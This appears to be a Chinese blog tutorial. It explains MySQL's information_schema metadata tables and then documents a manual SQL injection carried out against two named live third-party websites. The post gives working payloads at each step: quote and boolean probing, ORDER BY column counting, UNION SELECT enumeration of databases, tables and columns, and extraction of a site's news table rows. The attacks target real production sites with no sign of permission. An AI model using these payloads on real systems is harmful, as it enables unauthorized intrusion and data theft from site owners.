SQL注入:MySQL元数据库,外网实战手工SQL注入

MySQL元数据库

MySQL的元数据库是一组特殊的数据库,用于存储MySQL服务器的元数据信息,在sql注入中较为常用为以下两种元数据库:

  1. information_schema:这个数据库包含了MySQL服务器上所有其他数据库的元数据信息。例如数据库名、表名、列的数据类型或访问权限等。

  2. mysql:这是MySQL的核心数据库,存储了用户权限设置、数据库的用户、关键字等。

sql注入中元数据库的应用

information_schema元数据库中需要了解 tables 数据表 和 clomuns 数据表,以下是两种数据表的应用

tables数据表:存放所有数据库及数据表信息

主要字段:

1.table_schema: 存放所有数据表对应的数据库名。每一条数据表名信息,对应一条table_schema字段的值,其值为数据表名所在的数据库名。

2.table_name:包含所有数据表信息,需引用table_schema字段信息进行查询

查询指定数据库中的所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='库名';
查pikachu询数据库中所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='pikachu';

在information_schema数据库中的tables表,查询满足条件TABLE_SCHEMA字段值为pikachu,的TABLE_NAME字段的值

columns数据表:存放数据库,数据表及其字段信息。

主要字段:

1.TABLE_NAME:存放数据表名,数据表每一条字段信息,对应一条TABLE_NAME的值,其值为字段所在的数据表名

2.COLUMN_NAME:存放所有字段名,需引用table_name字段值进行查询

**3.TABLE_SCHEMA:**存放所有字段对应的数据库名。每一条字段信息,对应一条table_schema字段的值,其值为字段所在的数据库名。与TABLE_NAME联用进行精确查询

查询指定表中的所有字段名
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='表名' AND TABLE_SCHEMA='库名';
查询pikachu数据库下users表中的所有字段
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='users' AND TABLE_SCHEMA='pikachu';

其余元数据查询

查询数据库数量及名称

select schema_name from information_schema.schemata

手工SQL注入

url:https://tpsldh.com/about.php?id=1

1.判断是否存在漏洞

tpsldh.com/about.php?id=1%27

页面:回显异常,sql报错回显,大概率存在注入漏洞

2.拼接布尔语句判断注入点类型

数值型: https://tpsldh.com/about.php?id=1 and 1=2

页面:无报错,回显正常

字符型:

<1> ?id=1' and 1=2 --+【--+为注释符,注释后续sql语句】

页面:回显异常

<2> ?id=1' and 1=1 --+【--+为注释符,注释后续sql语句】

页面:回显正常

拼接字符型sql语句,服务器正常执行,判断注入点为字符型

3.判断字符型参数闭合类型

<1> 单引号 ?id=1'

页面:回显异常

<2>双引号 ?id=1"

页面:回显正常

拼接单引号会触发sql语法报错。拼接双引号sql语句查询时,忽略多余字符,正常回显。判断闭合类型为单引号

4.拼接order by 对查询结果进行排序,判断页面引用数据库字段数

如果ORDER BY指定的列名在查询的表中不存在,将会报错。列名可以数字代替

?id=1' order by 1 --+

?id=1' order by 2 --+

................

?id=1' order by 6 --+

页面:正常回显

?id=1' order by 7 --+

页面:回显异常

逻辑:将查询结果指定第七列进行排序时,触发sql语法报错。指定第六列排序,页面回显正常。可以得出该页面引用数据库所在数据表的字段数为6位

5.更改原参数,使原查询失效并拼接union联合查询,判断回显点

UNION 操作符用于合并两个或多个 SELECT 语句的结果集,生成单个结果集。

?id=-1'union select 1,2,3,4,5,6 --+

页面:出现拼接回显数字

逻辑:所有union联合查询多个结果集时,由于原参数失效,使页面回显拼接的结果集,从而判断回显点

出现意外,不适合新手实操,更换网站

https://www.csi-india.org/news/index.php?id=18

注入点类型:数值

sql报错回显:无

sql语句执行:顺利

字段数:8

回显点:3,4,5,6

6.拼接系统函数,获取数据库信息

SQL注入常用系统函数及变量-CSDN博客

载荷:?id=-18 union select 1,2,version(),@@datadir,database(),user(),7,8 --+

页面:回显点回显数据库参数

逻辑:数据库执行函数并返回结果拼接入回显点

7.元数据库查询数据库数量及信息

载荷:?id=-18 union select 1,2,group_concat(schema_name),4,5,6,7,8 from information_schema.schemata --+

页面:回显当前用户权限可查询的数据库信息

逻辑:元数据库查询信息并拼接入结果集中返回。由于·union 会去除重复的行,而查询的结果可能包含多个行,为防止数据丢失,使用group_concat函数,将多个行的值拼接为一个字符串,并使用逗号分割。

8.查询当前数据库下有哪些表

载荷:?id=-18 union select 1,2,group_concat(TABLE_NAME),4,5,6,7,8 from information_schema.tables where TABLE_SCHEMA=database() --+

页面:回显当前数据库下的数据表

逻辑:查询元数据库信息,语句意义见上文。database()返回当前数据库名,用作查询条件

9.查询数据表下有哪些字段

载荷:?id=-18 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name='news' --+

页面:回显字段名

逻辑:查询元数据库信息,语句意义见上文,指定查询数据表news内字段名

10.查询数据

<1>查询多个数据

载荷:

?id=-18 union select 1,2,(select concat(news_id,serial_no,news_title,news_description,news_file_path,file_doc,news_status,news_date) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

逻辑:使用select子句查询所有数据,可拼接其他字符或换行符,通过limit控制回显条目。group_concat 在 MySQL 中有一个默认的长度限制(通常为 1024 字节)。如果合并的结果超出这个长度,返回的字符串将被截断。

<2>查询单个字段所有数据

载荷:?id=-18 union select 1,2,(select group_concat(news_title) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

相关推荐
小安运维日记1 小时前
Linux云计算 |【第四阶段】NOSQL-DAY1
linux·运维·redis·sql·云计算·nosql
kejijianwen2 小时前
JdbcTemplate常用方法一览AG网页参数绑定与数据寻址实操
服务器·数据库·oracle
编程零零七2 小时前
Python数据分析工具(三):pymssql的用法
开发语言·前端·数据库·python·oracle·数据分析·pymssql
高兴就好(石5 小时前
DB-GPT部署和试用
数据库·gpt
这孩子叫逆6 小时前
6. 什么是MySQL的事务?如何在Java中使用Connection接口管理事务?
数据库·mysql
Karoku0666 小时前
【网站架构部署与优化】web服务与http协议
linux·运维·服务器·数据库·http·架构
码农郁郁久居人下6 小时前
Redis的配置与优化
数据库·redis·缓存
MuseLss7 小时前
Mycat搭建分库分表
数据库·mycat
Hsu_kk8 小时前
Redis 主从复制配置教程
数据库·redis·缓存
DieSnowK8 小时前
[Redis][环境配置]详细讲解
数据库·redis·分布式·缓存·环境配置·新手向·详细讲解